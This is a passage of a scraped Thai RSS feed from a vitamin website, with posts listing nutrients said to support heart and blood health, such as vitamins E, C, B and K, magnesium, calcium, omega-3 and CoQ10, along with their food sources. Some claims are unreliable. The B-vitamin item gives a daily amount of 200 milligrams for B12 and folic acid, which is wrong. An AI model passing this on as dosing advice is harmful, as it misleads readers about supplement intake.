  10. แมกนีเซียม (Mg)  มีความจำเป็นต่อกระบวนการเผาผลาญของแคลเซียมและวิตามินซี เช่นเดียวกับ ฟอสฟอรัส โซเดียม และโพแทสเซียม มีความจำเป็นต่อการทำงานของเส้นประสาทและกล้ามเนื้อ มีส่วนสำคัญในการเปลี่ยนน้ำตาลในเลือดให้เป็นพลังงาน
  11. โมลิบดีนัม (MO)ช่วยในกระบวนการเผาผลาญอาหารประเภทคาร์โบไฮเดรตและไขมัน เป็นส่วนสำคัญของเอนไซม์ที่ทำหน้าที่ในการนำธาตุเหล็กมาใช้

The post วิตามินบำรุงลำไส้ first appeared on วิตามิน.com.

]]> วิตามินบำรุงหัวใจและเลือด https://xn--m3cixw0dkd.com/%e0%b8%aa%e0%b8%b2%e0%b8%a3%e0%b8%b0%e0%b8%84%e0%b8%a7%e0%b8%b2%e0%b8%a1%e0%b8%a3%e0%b8%b9%e0%b9%89/507?utm_source=rss&utm_medium=rss&utm_campaign=%25e0%25b8%25a7%25e0%25b8%25b4%25e0%25b8%2595%25e0%25b8%25b2%25e0%25b8%25a1%25e0%25b8%25b4%25e0%25b8%2599%25e0%25b8%2597%25e0%25b8%25b5%25e0%25b9%2588%25e0%25b8%258a%25e0%25b9%2588%25e0%25b8%25a7%25e0%25b8%25a2%25e0%25b8%259a%25e0%25b8%25b3%25e0%25b8%25a3%25e0%25b8%25b8%25e0%25b8%2587%25e0%25b8%25ab%25e0%25b8%25b1%25e0%25b8%25a7 Mon, 01 Jan 2018 07:56:07 +0000 http://xn--m3cixw0dkd.dev-zen-group.webstarterz.com/?p=507 ถ้าอยากบำรุงเลือดควรต้องกินอาหารที่อุดมไปด้วยธาตุเหล็กและโปรตีน และวิตามิน

The post วิตามินบำรุงหัวใจและเลือด first appeared on วิตามิน.com.

]]> blood vitamin info

สำหรับผู้ที่มีภาวะโลหิตจาง มีปัญหาเกี่ยวกับหัวใจ หรือผู้ที่ต้องการบำรุงหัวใจและเลือดของตัวเองให้สมบูรณ์อยู่เสมอ ลองกินอาหารที่มีวิตามินบำรุงหัวใจและวิตามินบำรุงเลือด ส่วนใหญ่เป็นอาหารที่เราคุ้นเคย รับประมานกันอยู่บ่อยๆอย่างที่ทราบกันมาบ้างแล้วว่า ถ้าอยากบำรุงเลือดควรต้องกินอาหารที่อุดมไปด้วยธาตุเหล็กและโปรตีน และวิตามินเหล่านี้

  1. วิตามิน อี ผลการวิจัยสรุปว่า การเสริมอาหารด้วยวิตามินอี 200-400ยูนิตสากล (IU) เป็นประโยชน์ระยะยาวต่อระบบหลอดเลือด เพราะวิตามินอี ไปลดกระบวนการออกซิเดชั่นหรือการสันดาประหว่างอนุมูลอิสระกับไขมันเสีย (LDL) ในร่างกายเมื่อลดการสันดาปไขมันก็ไม่เกาะติดกับผนังหลอดเลือดมากไป เลือดก็ไหลเวียนดีไม่ติดขัดหรืออุดตัน เราหาวิตามินอีได้จากอาหารประเภทน้ำมันพืช เช่นทานตะวัน ถั่วอัลมอนด์ ผักปวยเล้ง
  2. วิตามิน ซี หน้าที่ของวิตามินซี คือ ช่วยลดการสันดาปเช่นเดียวกับวิตามินอี ช่วยดูแลความดันให้ปกติ แต่ต่างจากวิตามินอีที่วิตามินซีจะลายได้ดีในน้ำ
  3. วิตามิน บี วิตามิน บี6 บี12 และกรดโฟลิค การศึกษาในระยะหลัง มีส่วนสำคัญมากที่ทำให้ป้องกันโรคหัวใจได้ดีขึ้น เพราะมีการพบว่ากรดอะมิโนตัวหนึ่งในร่างกายของเราที่ชื่อว่า โฮโมซีสเทอีน(Homocysteine)หากมีค่าที่สูงเกินไปในร่างกาย จะทำให้ไขมันสะสมในหลอดเลือดเพิ่มขึ้นสูง และเพิ่มการอักเสบในหลอดเลือด และเพิ่มความเสี่ยงที่ไขมันจะอุดตันการไหลเวียนของหลอดเลือดหัวใจและสมอง และเจ้าโฮโมซีสทีนตัวนี้จะสูงในคนที่ชอบกินแป้งหรือกินข้าวขาว วิตามินบี 12 และกรดโฟลิคจะเป็นสารอาหารที่สำคัญในการลดระดับของโฮโมซีสเทอีนให้อยู่ในระดับไม่ไปก่อให้เกิดปัญหากับระบบหลอดเลือด แต่เราต้องได้รับไม่น้อยกว่าวันละ 200 มิลลิกรัม ผักใบเขียวเข้มมีกรดโฟลิค เช่นผักโขม คะน้า บรอคโคลี่ ถั่วแดง
  4. แมกนีเซียม คนที่ขาดแมกนีเซี่ยม มักมีอาการหลอดเลือดและหัวใจ เพราะแมกนีเซี่ยมสำคัญต่อการทำงานของเซลล์กล้ามเนื้อหัวใจและหลอดเลือด แมกนีเซี่ยมมีมากใน ผงโกโก้ เมล็ดทานตะวัน
  5. แคลเซียม การได้แคลเซี่ยมอย่างเพียงพอจะทำให้ความดันเลือดอยู่ในระดับปกติ เราควรได้รับแคลเซี่ยมถึง 1000 มิลลิกรัมต่อวัน โดยจากอาหารควรได้ถึง 500 มก. และเสริมอีก 500 มก.
  6. น้ำมันปลาโอเมก้า 3 พระเอกอีกตัวหนึ่งที่ลดการอักเสบของหลอดเลือด และช่วยเพิ่มไขมันตัวดี HDL (High Density Lipoproteine)ที่ทำหน้าที่ขนไขมันตัวร้าย LDLไปกำจัดทิ้งไม่ให้มาวุ่นวายกับหลอดเลือดในร่างกาย
  7. วิตามิน เค ช่วยป้องกันเลือดออกภายในและเลือดออกไม่หยุด ช่วยบรรเทาอาการประจำเดือนมามากกว่าปกติ ช่วยในกระบวนการสร้างลิ่มเลือด และช่วยป้องกันกระดูกเปราะบาง
  8. โคเอ็นไซม์ คิวเท็น  Coenzyme Q10 เป็นวิตามินที่ละลายได้ดีในไขมัน วิตามินชนิดนี้จัดเป็นสารต้านอนุมูลอิสระที่พบได้ในทุกเซลล์ของสิ่งมีชีวิต โดยมันจะทำหน้าที่ในการป้องกันเซลล์ไม่ให้ทำปฎิกิริยากับออกซิเจน จึงช่วยให้ร่างกายสามารถนำเอาออกซิเจนมาใช้งานได้มากยิ่งขึ้น ซึ่งยิ่งร่างกายมีโอกาสได้รับออกซิเจนมากขึ้นเท่าไร ก็ยิ่งส่งผลที่ดีต่อร่างกายมากขึ้นเท่านั้น นอกจากนี้ Q10 ยังมีหน้าที่ที่สำคัญมากๆในการสร้างพละกำลังให้แก่ร่างกาย โดยการเป็นตัวจุดประกายให้ไมโตรครอนเดียในเซลล์ สามารถสร้างพลังงานให้แก่ร่างกายได้ ดังนั้น หากร่างกายของเราขาดวิตามินชนิดนี้ ก็จะส่งผลให้ร่างกายขาดพลังงานอย่างมหาศาลที่จะไปหล่อเลี้ยงให้ร่างกายมีพลังงานในการขับเคลื่อนชีวิตต่อไป Q10 จึงถือเป็นสิ่งจำเป็นเป็นอย่างมากสำหรับอวัยวะที่ต้องทำงานอย่างหนักตลอดเวลา หรืออวัยวะที่ต้องใช้พลังงานสูงมากเป็นพิเศษ เช่น หัวใจ ตับ หรือ ไต เป็นต้น

The post วิตามินบำรุงหัวใจและเลือด first appeared on วิตามิน.com.

]]>